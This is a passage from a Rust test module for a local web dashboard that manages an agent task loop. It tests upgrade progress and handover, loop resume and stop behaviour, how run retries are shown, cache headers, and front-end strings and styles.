11039 .as_str()
11040 .expect("waiting_on is set while parking a known run");
11041 assert!(waiting_on.contains("cd51"), "{waiting_on}");
11042 assert!(waiting_on.contains("implementing"), "{waiting_on}");
11043 }
11044
11045 #[tokio::test]
11046 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
11047 let fx = Fixture::start().await;
11048 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
11049 progress.advance(crate::updater::Stage::Done);
11050 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
11051
11052 let health = fx.get("/api/health").await.json();
11053 assert_eq!(health["upgrade"]["stage"], "done");
11054 assert!(
11055 health["upgrade"]["waiting_on"].is_null(),
11056 "nothing to wait on once it is done"
11057 );
11058 }
11059
11060 #[tokio::test]
11061 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
11062 let home = TempDir::new().expect("temp home");
11063 let runs = home.path().join("runs");
11064 std::fs::create_dir_all(&runs).expect("runs dir");
11065 let ui = Ui::new(
11066 Queue::at(home.path().join("queue")),
11067 Questions::at(home.path().join("questions")),
11068 Talks::at(home.path().join("talks")),
11069 runs,
11070 home.path().to_path_buf(),
11071 PathBuf::from("/repo/magi"),
11072 )
11073 .with_launch(launch_idle);
11074 let looping = ui.looping();
11075 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
11076 .await
11077 .expect("bind loopback");
11078 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
11079
11080 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
11081 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
11082
11083 hand_over(home.path(), &looping, served, |_| Ok(()))
11084 .await
11085 .expect("hand over");
11086
11087 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
11088 assert_eq!(
11089 after.stage,
11090 crate::updater::Stage::Restarting,
11091 "hand_over owns the record through parking and up to restarting; \
11092 the successor is what finishes it"
11093 );
11094 }
11095
11096 fn idle_ui(home: &TempDir) -> Ui {
11097 let runs = home.path().join("runs");
11098 std::fs::create_dir_all(&runs).expect("runs dir");
11099 Ui::new(
11100 Queue::at(home.path().join("queue")),
11101 Questions::at(home.path().join("questions")),
11102 Talks::at(home.path().join("talks")),
11103 runs,
11104 home.path().to_path_buf(),
11105 PathBuf::from("/repo/magi"),
11106 )
11107 .with_launch(launch_idle)
11108 }
11109
11110 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
11112 let looping = ui.looping();
11113 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
11114 .await
11115 .expect("bind loopback");
11116 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
11117 let told = std::sync::Mutex::new(None);
11118 hand_over(home.path(), &looping, served, |resume| {
11119 *told.lock().unwrap() = Some(resume);
11120 Ok(())
11121 })
11122 .await
11123 .expect("hand over");
11124 told.into_inner().unwrap().expect("successor was started")
11125 }
11126
11127 #[tokio::test]
11128 async fn a_running_loop_is_resumed_by_the_successor() {
11129 let home = TempDir::new().expect("temp home");
11130 let ui = idle_ui(&home);
11131 ui.start_loop(None).expect("start");
11132 ui.park_for_upgrade().expect("park");
11133 for _ in 0..500 {
11135 if !ui.loop_view(None).running {
11136 break;
11137 }
11138 tokio::time::sleep(Duration::from_millis(2)).await;
11139 }
11140 assert!(handed_over(&home, ui).await, "a running loop must resume");
11141
11142 let successor = idle_ui(&home);
11143 assert!(!successor.loop_view(None).running);
11144 assert!(successor.resume_after_handover(true));
11145 assert!(successor.loop_view(None).running);
11146 successor.stop_loop(None, false).expect("stop");
11147 }
11148
11149 #[tokio::test]
11150 async fn a_second_upgrade_request_keeps_the_resume_intent() {
11151 let home = TempDir::new().expect("temp home");
11152 let ui = idle_ui(&home);
11153 ui.start_loop(None).expect("start");
11154 ui.park_for_upgrade().expect("first park");
11155 ui.park_for_upgrade().expect("second park");
11156 assert!(handed_over(&home, ui).await);
11157 }
11158
11159 #[tokio::test]
11160 async fn a_stop_during_the_handover_wait_is_honoured() {
11161 let home = TempDir::new().expect("temp home");
11162 let ui = idle_ui(&home);
11163 ui.start_loop(None).expect("start");
11164 ui.park_for_upgrade().expect("park");
11165 ui.stop_loop(None, false).expect("stop");
11166 assert!(!handed_over(&home, ui).await);
11167 }
11168
11169 #[tokio::test]
11170 async fn an_idle_loop_stays_stopped_across_the_handover() {
11171 let home = TempDir::new().expect("temp home");
11172 let ui = idle_ui(&home);
11173 ui.park_for_upgrade().expect("park");
11174 assert!(!handed_over(&home, ui).await);
11175
11176 let successor = idle_ui(&home);
11177 assert!(!successor.resume_after_handover(false));
11178 assert!(!successor.loop_view(None).running);
11179 }
11180
11181 #[tokio::test]
11182 async fn a_loop_the_operator_stopped_is_not_resumed() {
11183 let home = TempDir::new().expect("temp home");
11184 let ui = idle_ui(&home);
11185 ui.start_loop(None).expect("start");
11186 ui.stop_loop(None, false).expect("stop");
11187 ui.park_for_upgrade().expect("park");
11188 assert!(!handed_over(&home, ui).await);
11189 }
11190
11191 #[test]
11192 fn only_an_explicit_one_requests_a_resume() {
11193 assert!(!resume_requested(None));
11194 assert!(!resume_requested(Some("0".into())));
11195 assert!(!resume_requested(Some("".into())));
11196 assert!(resume_requested(Some("1".into())));
11197 }
11198
11199 #[test]
11200 fn the_upgrade_button_arms_before_it_restarts_anything() {
11201 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
11204 assert!(APP_JS.contains("Replace the binary and restart?"));
11205 assert!(APP_JS.contains("function confirmed("));
11206 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
11211 assert!(
11215 APP_JS.contains("Parking, then restarting"),
11216 "the button says what it is waiting for"
11217 );
11218 assert!(APP_JS.contains("if (!out.to)"));
11221 }
11222
11223 #[test]
11224 fn stopping_the_loop_arms_but_starting_does_not() {
11225 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
11228 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
11229 assert!(APP_JS.contains("confirmed(button, question)"));
11230 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
11233 assert!(APP_JS.contains("const label = btn.textContent;"));
11234 assert!(!APP_JS.contains("Neither direction is guarded"));
11235 }
11236
11237 #[test]
11238 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
11239 assert!(
11240 APP_JS.contains("state.health.version"),
11241 "the operator wants to know what is running even with nothing newer"
11242 );
11243 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
11244 }
11245
11246 #[test]
11247 fn the_upgrade_button_names_its_destination() {
11248 assert!(
11249 APP_JS.contains("`Update to ${update.to}`"),
11250 "pressing the button should not be a surprise about what it moves to"
11251 );
11252 }
11253
11254 #[test]
11255 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
11256 for stage in ["downloading", "replaced", "parking", "restarting"] {
11257 assert!(
11258 APP_JS.contains(&format!("\"{stage}\"")),
11259 "the phone must be able to tell {stage} apart from the others"
11260 );
11261 }
11262 assert!(APP_JS.contains(".waiting_on"));
11263 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
11268 assert!(APP_JS.contains("reconnects on its own"));
11269 }
11270
11271 #[test]
11272 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
11273 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
11282 ..APP_JS.find("function upgrade(").expect("upgrade")];
11283 assert!(
11284 !body.contains(
11285 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
11286 ),
11287 "a failed upgrade must not take the whole strip over the way it used to"
11288 );
11289 assert!(
11290 body.contains("upgradeFailNote"),
11291 "the failure has to reach the loop's own note instead"
11292 );
11293 assert_eq!(
11297 body.matches("upgradeFailNote].filter(Boolean).join")
11298 .count(),
11299 2,
11300 "both loop-why writers (quiet and control) must fold the note in"
11301 );
11302 }
11303
11304 #[test]
11305 fn an_overdue_upgrade_eventually_asks_for_a_human() {
11306 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
11309 assert!(APP_JS.contains("function upgradeOverdue("));
11310 }
11311
11312 #[test]
11313 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
11314 assert!(
11315 APP_JS.contains("Updated to ${upgradeInfo.to"),
11316 "the operator who asked for the restart wants to know it worked"
11317 );
11318 }
11319
11320 #[test]
11321 fn an_error_is_visible_from_where_the_button_is() {
11322 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
11327 ..APP_CSS.find(".alert-text").expect(".alert-text")];
11328 assert!(
11329 alert.contains("position: fixed"),
11330 "an error about the thing under your thumb has to be visible from \
11331 where your thumb is: {alert}"
11332 );
11333 assert!(
11334 alert.contains("z-index: 25"),
11335 "above the dock (20) and the run-actions FAB (15), so neither \
11336 buries it: {alert}"
11337 );
11338 assert!(
11339 alert.contains("var(--tap)"),
11340 "and clear of the dock and the home indicator: {alert}"
11341 );
11342 assert!(
11345 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
11346 "the FAB's column stays free: {alert}"
11347 );
11348 }
11349
11350 #[tokio::test]
11351 async fn an_older_attempt_says_what_replaced_it() {
11352 let fx = Fixture::start().await;
11353 let q = fx.queue();
11354 let runs = fx.runs();
11355 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
11356 write_run(&runs, first, RunStatus::Stalled);
11357 write_run(&runs, second, RunStatus::Blocked);
11358
11359 let mut t = Task::new(
11360 "one task".to_owned(),
11361 "do it".to_owned(),
11362 PathBuf::from("/repo"),
11363 Source::Human,
11364 );
11365 t.runs = vec![first.to_owned(), second.to_owned()];
11366 q.put(&mut t).expect("put");
11367
11368 let rows = fx.get("/api/runs").await.json();
11372 let by = |short: &str| -> Value {
11373 rows.as_array()
11374 .unwrap()
11375 .iter()
11376 .find(|r| r["short"] == short)
11377 .cloned()
11378 .unwrap_or(Value::Null)
11379 };
11380 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
11381 assert!(
11382 by("bbbb")["superseded_by"].is_null(),
11383 "the latest attempt is not superseded by anything"
11384 );
11385 assert!(APP_JS.contains("run.superseded_by"));
11387 assert!(APP_JS.contains("Superseded by"));
11388 }
11389
11390 #[tokio::test]
11391 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
11392 let fx = Fixture::start().await;
11397 let q = fx.queue();
11398 let runs = fx.runs();
11399 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
11400 write_run(&runs, first, RunStatus::Blocked);
11401 write_run(&runs, second, RunStatus::Merged);
11402
11403 let mut t = Task::new(
11404 "one task".to_owned(),
11405 "do it".to_owned(),
11406 PathBuf::from("/repo"),
11407 Source::Human,
11408 );
11409 t.runs = vec![first.to_owned(), second.to_owned()];
11410 q.put(&mut t).expect("put");
11411
11412 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
11413 assert_eq!(earlier["superseded_by"], "dddd");
11414 assert_eq!(earlier["latest_attempt"]["id"], second);
11415 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
11416 assert_eq!(
11417 earlier["latest_attempt"]["resolved"], true,
11418 "the run that replaced it landed, so this one reads as settled"
11419 );
11420
11421 let later = fx.get(&format!("/api/runs/{second}")).await.json();
11422 assert!(
11423 later["superseded_by"].is_null(),
11424 "the latest attempt is not superseded by anything"
11425 );
11426 assert!(
11427 later["latest_attempt"].is_null(),
11428 "the latest attempt has no later attempt of its own"
11429 );
11430
11431 assert!(APP_JS.contains("run.latest_attempt"));
11438 assert!(APP_JS.contains("data-superseded"));
11439 assert!(APP_JS.contains("#/runs/${latest.id}"));
11440 }
11441
11442 #[tokio::test]
11443 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
11444 let fx = Fixture::start().await;
11450 let q = fx.queue();
11451 let runs = fx.runs();
11452 let (a, b, c) = (
11453 "20260901-000000-aaaa",
11454 "20260901-000000-bbbb",
11455 "20260901-000000-cccc",
11456 );
11457 write_run(&runs, a, RunStatus::Blocked);
11458 write_run(&runs, b, RunStatus::Blocked);
11459 write_run(&runs, c, RunStatus::Merged);
11460
11461 let mut t = Task::new(
11462 "retried twice".to_owned(),
11463 "do it".to_owned(),
11464 PathBuf::from("/repo"),
11465 Source::Human,
11466 );
11467 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
11468 q.put(&mut t).expect("put");
11469
11470 let view = fx.get(&format!("/api/runs/{a}")).await.json();
11471 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
11472 assert_eq!(
11473 view["latest_attempt"]["id"], c,
11474 "the chain's current head, not the intermediate Blocked retry"
11475 );
11476 assert_eq!(view["latest_attempt"]["resolved"], true);
11477
11478 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
11479 assert_eq!(mid["latest_attempt"]["id"], c);
11480 assert_eq!(mid["latest_attempt"]["resolved"], true);
11481 }
11482
11483 #[tokio::test]
11484 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
11485 let fx = Fixture::start().await;
11486 let q = fx.queue();
11487 let runs = fx.runs();
11488
11489 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
11492 write_run(&runs, still_blocked_a, RunStatus::Blocked);
11493 write_run(&runs, still_blocked_b, RunStatus::Blocked);
11494 let mut t1 = Task::new(
11495 "still stuck".to_owned(),
11496 "do it".to_owned(),
11497 PathBuf::from("/repo"),
11498 Source::Human,
11499 );
11500 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
11501 q.put(&mut t1).expect("put");
11502 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
11503 assert_eq!(view1["latest_attempt"]["resolved"], false);
11504
11505 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
11510 write_run(&runs, noop_a, RunStatus::Blocked);
11511 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
11512 let mut t2 = Task::new(
11513 "claims done".to_owned(),
11514 "do it".to_owned(),
11515 PathBuf::from("/repo"),
11516 Source::Human,
11517 );
11518 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
11519 q.put(&mut t2).expect("put");
11520 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
11521 assert_eq!(
11522 view2["latest_attempt"]["resolved"], false,
11523 "an unverified no-op claim must not read as a confirmed finish"
11524 );
11525
11526 assert!(APP_JS.contains("latest.resolved"));
11529 }
11530
11531 #[tokio::test]
11532 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
11533 let fx = Fixture::start().await;
11534 let js = fx.get("/app.js").await;
11540 assert_eq!(js.status, 200);
11541 let tag = js
11542 .header("etag")
11543 .expect("an etag to revalidate against")
11544 .to_owned();
11545 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
11546 assert_eq!(
11547 js.header("cache-control"),
11548 Some("no-cache, must-revalidate"),
11549 "the phone has to ask every time"
11550 );
11551
11552 let again = fx
11555 .get_with("/app.js", &[("if-none-match", tag.as_str())])
11556 .await;
11557 assert_eq!(
11558 again.status, 304,
11559 "a deck it already has costs one round trip"
11560 );
11561 assert!(again.body.is_empty(), "304 carries no body");
11562
11563 let weak = fx
11566 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
11567 .await;
11568 assert_eq!(weak.status, 304);
11569 let stale = fx
11570 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
11571 .await;
11572 assert_eq!(stale.status, 200, "an older build must be replaced");
11573 assert!(stale.body.contains("renderRunActions"));
11574 }
11575
11576 #[test]
11577 fn the_deck_never_sends_the_operator_to_a_terminal() {
11578 assert!(
11581 !APP_JS.contains("Run `magi fold` first"),
11582 "the deck must offer the fold, not prescribe a shell command"
11583 );
11584 assert!(APP_JS.contains("foldRun:"));
11585 assert!(APP_JS.contains("resumeRun:"));
11586 assert!(APP_JS.contains("renderRunActions"));
11587
11588 assert!(APP_JS.contains("armedFold"));
11590 assert!(APP_JS.contains("Yes, fold worktrees"));
11591
11592 assert!(APP_JS.contains("can no longer be resumed"));
11595 }
11596
11597 #[test]
11598 fn a_finished_run_explains_itself_with_its_own_last_line() {
11599 assert!(
11605 !APP_JS.contains("collapsed on agent quota"),
11606 "a stall must not be explained by a cause the deck did not check"
11607 );
11608 assert!(
11609 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
11610 "and a block must not offer a guess with an `or` in it"
11611 );
11612
11613 assert!(
11617 APP_JS.contains("setText(r.event, run.event || \"\")"),
11618 "the run's last line is rendered unconditionally"
11619 );
11620 assert!(
11621 !APP_JS.contains("moving && run.event"),
11622 "and never gated on the run still moving"
11623 );
11624
11625 assert!(APP_JS.contains("lost to quota"));
11627 }
11628
11629 #[test]
11651 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
11652 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
11653 let shapes_body_start =
11654 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
11655 let shapes_close = APP_JS[shapes_body_start..]
11656 .find("].map(")
11657 .expect("the shape list is closed by its done-computing .map(...)")
11658 + shapes_body_start;
11659 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
11660
11661 let mut shapes: Vec<(bool, String, bool)> = Vec::new();
11662 for entry in shapes_src.split('{').skip(1) {
11663 let waiting = entry.contains("waiting: true");
11664 let dead = entry.contains("live: \"dead\"");
11665 let status_at =
11666 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
11667 let status_end = entry[status_at..]
11668 .find('"')
11669 .expect("the status string is closed")
11670 + status_at;
11671 shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
11672 }
11673 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
11674
11675 let done_rule_marker = "done: !";
11679 let done_rule_at = APP_JS[shapes_close..]
11680 .find(done_rule_marker)
11681 .expect("the done rule follows the shape list")
11682 + shapes_close
11683 + done_rule_marker.len();
11684 let includes_at = APP_JS[done_rule_at..]
11685 .find(".includes(shape.status)")
11686 .expect("the done rule ends in .includes(shape.status)")
11687 + done_rule_at;
11688 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
11689 .trim()
11690 .trim_start_matches('[')
11691 .trim_end_matches(']')
11692 .split(',')
11693 .map(|s| s.trim().trim_matches('"'))
11694 .filter(|s| !s.is_empty())
11695 .collect();
11696
11697 let shapes: Vec<(bool, String, bool, bool)> = shapes
11698 .into_iter()
11699 .map(|(waiting, status, dead)| {
11700 let done = !not_done.contains(&status.as_str());
11701 (waiting, status, dead, done)
11702 })
11703 .collect();
11704
11705 fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
11709 if waiting {
11710 return "waiting";
11711 }
11712 if dead
11713 && !matches!(
11714 status,
11715 "merged"
11716 | "ready"
11717 | "stalled"
11718 | "blocked"
11719 | "failed"
11720 | "verified_noop"
11721 | "superseded"
11722 )
11723 {
11724 return "stale";
11725 }
11726 match status {
11727 "merged" | "ready" => "landed",
11728 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded" => "ended",
11729 _ => "flight",
11730 }
11731 }
11732
11733 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
11736 match filter_key {
11737 "active" => !done,
11738 "flight" => !done && !waiting && !dead,
11739 "stale" => !done && !waiting && dead,
11740 "waiting" => waiting,
11741 "done" => done,
11742 "all" => true,
11743 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
11744 }
11745 }
11746
11747 let compatible = |section: &str, filter_key: &str| {
11748 shapes.iter().any(|(waiting, status, dead, done)| {
11749 run_section(*waiting, status, *dead) == section
11750 && filter_matches(filter_key, *waiting, *dead, *done)
11751 })
11752 };
11753
11754 let expected = [
11759 ("waiting", [true, false, false, true, true, true]),
11760 ("stale", [true, false, true, false, false, true]),
11761 ("flight", [true, true, false, false, false, true]),
11762 ("landed", [false, false, false, false, true, true]),
11763 ("ended", [false, false, false, false, true, true]),
11764 ];
11765 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
11766
11767 for (section, wants) in expected {
11768 for (filter_key, want) in filter_keys.iter().zip(wants) {
11769 assert_eq!(
11770 compatible(section, filter_key),
11771 want,
11772 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
11773 );
11774 }
11775 }
11776
11777 assert!(
11780 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
11781 );
11782 assert!(APP_JS.contains(
11783 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
11784 ));
11785 assert!(APP_JS.contains(
11786 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
11787 ));
11788 }
11789
11790 #[tokio::test]
11791 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
11792 let dir = tempfile::tempdir().expect("tempdir");
11796 let explicit = dir.path().join("not-a-checkout");
11797 std::fs::create_dir_all(&explicit).expect("create dir");
11798 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
11799
11800 let missing = dir.path().join("does-not-exist-at-all");
11801 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
11802 }
11803}